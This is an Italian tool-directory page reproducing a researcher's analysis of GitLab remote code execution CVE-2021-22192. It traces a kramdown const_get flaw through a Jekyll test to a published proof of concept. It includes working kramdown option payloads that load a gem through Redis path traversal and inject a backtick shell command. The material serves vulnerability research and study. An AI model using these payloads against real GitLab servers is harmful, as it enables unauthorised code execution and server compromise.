Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Strumenti/GitHubGitHub/petrusviet/gitlab-rce
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Vedi Repository
1235 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi della vulnerabilità RCE in Gitlab (CVE-2021–22192)

I) Costruzione

  • Questa vulnerabilità riguarda GitLab Community Edition (CE) ed Enterprise Edition (EE) nelle versioni (>=13.2, <13.7.9), (>=13.8, <13.8.6) e (>=13.9, <13.9.4)
  • potete seguire le istruzioni di lyy289065406 per preparare l'ambiente.

II) Analisi

Quando ho iniziato ad analizzare questa vulnerabilità, avevo solo alcune preziose informazioni da lyy289065406 che mi hanno permesso di capire il problema centrale di questo bug. Sembra che l'errore risieda nella gem kramdown (<= 2.3.0), quindi ho iniziato a studiare kramdown per prima cosa.

1. Kramdown

Possiamo esaminare la patch di kramdown e notiamo la differenza nella funzione formatter_class all'interno del modulo Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) è stato trasformato in ::Rouge::Formatters.const_get(formatter, false)

La funzione const_get è ereditata dalla classe Object e può recuperare le costanti. Può persino restituire le classi già dichiarate che riesce a trovare. La differenza qui è solo l'aggiunta di un parametro false. L'aggiunta del parametro false impedisce a const_get di recuperare le costanti dalle classi madri o dai moduli. C'è un dettaglio ancora più particolare: nella funzione self.call viene chiamata formatter_class e poi new(opts). Questo significa che il metodo recuperato tramite const_get viene passato al costruttore per essere istanziato.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. Quindi come possiamo sfruttarla???

Basandoci su Kramdown:Options possiamo chiamare la funzione Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Inoltre, nel modulo Kramdown:Options, la funzione simple_hash_validator chiama YAML.safe_load(val). Quindi possiamo configurare un file YML per passare il payload desiderato a Kramdown::Converter::SyntaxHighlighter::Rouge.

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown è usato da Jekyll, GitLab Pages, GitHub Pages e Thredd Forum. Perciò ho deciso di provarlo prima con Jekyll.

2. jekyll

Prima di tutto devo preparare jekyll:

  • Installare jekyll
root@kitploit:~
gem install jekyll
  • Creare una pagina jekyll chiamata jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • Modificare il file Gemfile.lock portando la versione di kramdown a <= 2.3.0
root@kitploit:~
cd jekyllTest

File Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • installare la pagina
root@kitploit:~
 bundle install

Così abbiamo finito di creare una pagina jekyll. Ora possiamo inserire il payload per vedere se Kramdown::Converter::SyntaxHighlighter::Rouge.call riesce davvero a chiamare un metodo.

possiamo aggiungere al file ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Oppure usare un documento kramdown aggiungendo il payload in ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end

~~~
 Qui ho usato il secondo metodo =)))))
 
 - procediamo a deployare la pagina jekyll

bundle exec jekyll serve

root@kitploit:~
 *potreste incontrare l'errore "`require': cannot load such file -- webrick (LoadError)`; in tal caso dovete aggiungere `gem "webrick"` al Gemfile*

- Vediamo il messaggio di errore `private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:`. Questo dimostra che la classe CSV è stata chiamata.

#### Il passo successivo è determinare quale metodo scegliere affinché la chiamata al costruttore possa causare una RCE?

Secondo un articolo di analisi [CVE-2020-10518](https://blog.csdn.net/smellycat000/article/details/109302520) che sfrutta il bug in kramdown per causare una RCE su GitHub, ho puntato alla classe Hoosegow:
- Vediamo che nella funzione `initialize` di Hoosegow viene chiamata `load_inmate_methods`
```ruby
def initialize(options = {})
   options         = options.dup
   @no_proxy       = options.delete(:no_proxy)
   @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
   @image_name     = options.delete(:image_name)
   @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
   @docker_options = options
   load_inmate_methods
  • In load_inmate_methods vediamo che chiama require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • Ma inmate_file viene creato concatenando @inmate_dir con 'inmate.rb'. Se riusciamo a chiamare questa classe e a modificare il parametro inmate_dir impostandolo sul percorso del nostro file payload, non è proprio lì che avviene la RCE?

  • Ho eseguito uno script nella directory della pagina jekyll per verificare i metodi definiti:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Purtroppo non c'è nessuna classe chiamata Hoosegow, anche evitando che lo script si interrompa a metà impostando la condizione ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • A quanto pare nel classpath non era ancora dichiarata la classe Hoosegow; ho aggiunto gem "hoosegow" al Gemfile e lo script ha trovato la classe. [Hehe]
  • Poi ho provato a chiamare Hoosegow tramite kramdown per vedere cosa succede
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Bum. Non è successo nulla, la classe Hoosegow non è stata chiamata. =)))))))))
  • Sono rimasto bloccato qui per una settimana. Sì, ho perso una settimana per questo. Continuavo a girarmi attorno alla domanda: "Perché nel bundler la classe Hoosegow c'è, ma quando la chiamo da kramdown non funziona? Dovrebbe funzionare, no ???"

  • Ho pensato: "Se è dichiarato nel Gemfile, allora la classe dovrebbe essere già nel classpath. Quindi, se il programma non trova ancora 'Hoosegow', sicuramente non è stato caricato...". Allora qual è il modo di dichiarare una gem in modo che, all'avvio, jekyll carichi la gem prima di elaborare il resto della directory sorgente?

  • Ho letto la documentazione di jekyll e ho trovato jekyll_plugins. Dichiararla nel Gemfile così non basta: bisogna dichiarare la gem nel gruppo jekyll_plugins per farla funzionare :( perché quando una gem è dichiarata in jekyll_plugins viene caricata in ogni caso prima che jekyll elabori le altre sorgenti. Anche quando jekyll viene eseguito in safe mode.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Ho creato un file inmate.rb in C:/ e ho eseguito il payload:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Il file inmate.rb è stato chiamato. Quindi sembra che siamo quasi riusciti a riprodurre la PoC, vero.

3. Gitlab

  • Gitlab ha la funzionalità Gitlab Page, dove posso fare il deploy di una pagina jekyll. Quindi ho provato a caricare il payload sotto forma di progetto di pagina jekyll (come sopra) e a deployarlo su Gitlab.
  • La domanda è: come faccio a caricare il file inmate.rb sul server di Gitlab e a sapere dove si trova il file inmate.rb appena caricato?
  • Questo è abbastanza semplice se abbiamo il permesso di creare progetti e deployarli su Gitlab. Possiamo caricare il file inmate.rb nel nostro progetto e modificare il file .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Questo ci permette di sapere dove viene archiviato il nostro progetto, e quindi di creare il nostro payload :)

Perché, se possiamo modificare il file .gitlab-ci.yml e abbiamo già la capacità di iniettare comandi, dovremmo ancora preoccuparci di scrivere una PoC? Forse sto seguendo la strada della self RCE?

  • Questa domanda è sorta immediatamente mentre modificavo il file .gitlab-ci.yml. Ho provato a spiegarmelo in vari modi: "Forse c'è un meccanismo che scansiona il file .yml prima che venga caricato?",... ma nessuna di queste mi convinceva...
  • Ho cercato di capire come Gitlab deploya Gitlab Pages. Ho notato che ogni volta che si deploya una nuova pagina, o quando un file nel progetto Pages viene modificato, il server Gitlab Runner renderizza il progetto in pagine statiche e le invia al web server di Gitlab. Ciò significa che questa via di sfruttamento può al massimo compromettere il Runner Server. Compromettere il Runner Server non è molto grave, perché si limita a una self RCE. Qualcosa non quadra.
  • Ho cercato un altro vettore di input: le wiki page. La wiki page consente di usare il formato kramdown, quindi ho sospettato e ho provato a testare, ma senza risultati, perché ho inserito il payload solo nel file predefinito '*.md', e il file '*.md' ha la funzionalità necessaria limitata, quindi ho abbandonato questa strada :(

  • A questo punto ho dovuto fermarmi e aspettare che la PoC fosse pubblicata, per dedicare tempo ad altre ricerche.

Pubblicazione della PoC

Un bel giorno la PoC è stata pubblicata. Dopo averla letta, la sensazione di essere un pivello è risorta in modo prepotente, inutile dirlo =)).

Il problema centrale stava in kramdown e l'avevamo individuato, ma la strada per arrivarci su Gitlab era un po' penosa =)

  • L'autore ha scoperto che caricando una wiki page con un file '*.rmd' il programma chiama render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. In questo modo il file '*.rmd' viene renderizzato con kramdown.

  • L'autore ha caricato il suo file '.rmd' clonando la wiki page in locale e poi usando git per pushare la wiki page (incluso il file '.rmd') su Gitlab.

  • L'autore ha usato la classe Redis (già dichiarata nel progetto Gitlab, quindi possiamo chiamare e usare questa classe) per eseguire il suo payload.

Quando si inizializza la classe Redis, se esiste l'opzione driver, il programma chiama la funzione _parse_driver. Qui il programma esegue require "connection/#{driver}": possiamo agire sulla variabile driver per fare in modo che il programma chiami il file payload caricato sul server.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • Con la funzionalità di creare un nuovo snippet, un attaccante può caricare un payload Ruby tramite Attach a file.
  • In questo exploit, l'attaccante deve trovare la posizione del file payload caricato. Questo ha portato l'autore a trovare un'altra strada di sfruttamento:

Usando il percorso da kramdown per chiamare la classe Redis, prima l'autore importa la gem get_process_mem con il payload

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Poi usa di nuovo la gem get_process_mem importata in precedenza per ottenere la RCE

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Quindi, senza dover trovare l'indirizzo del file payload, un attaccante può comunque ottenere una RCE sul server Gitlab.

Ref:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Scarica lo strumento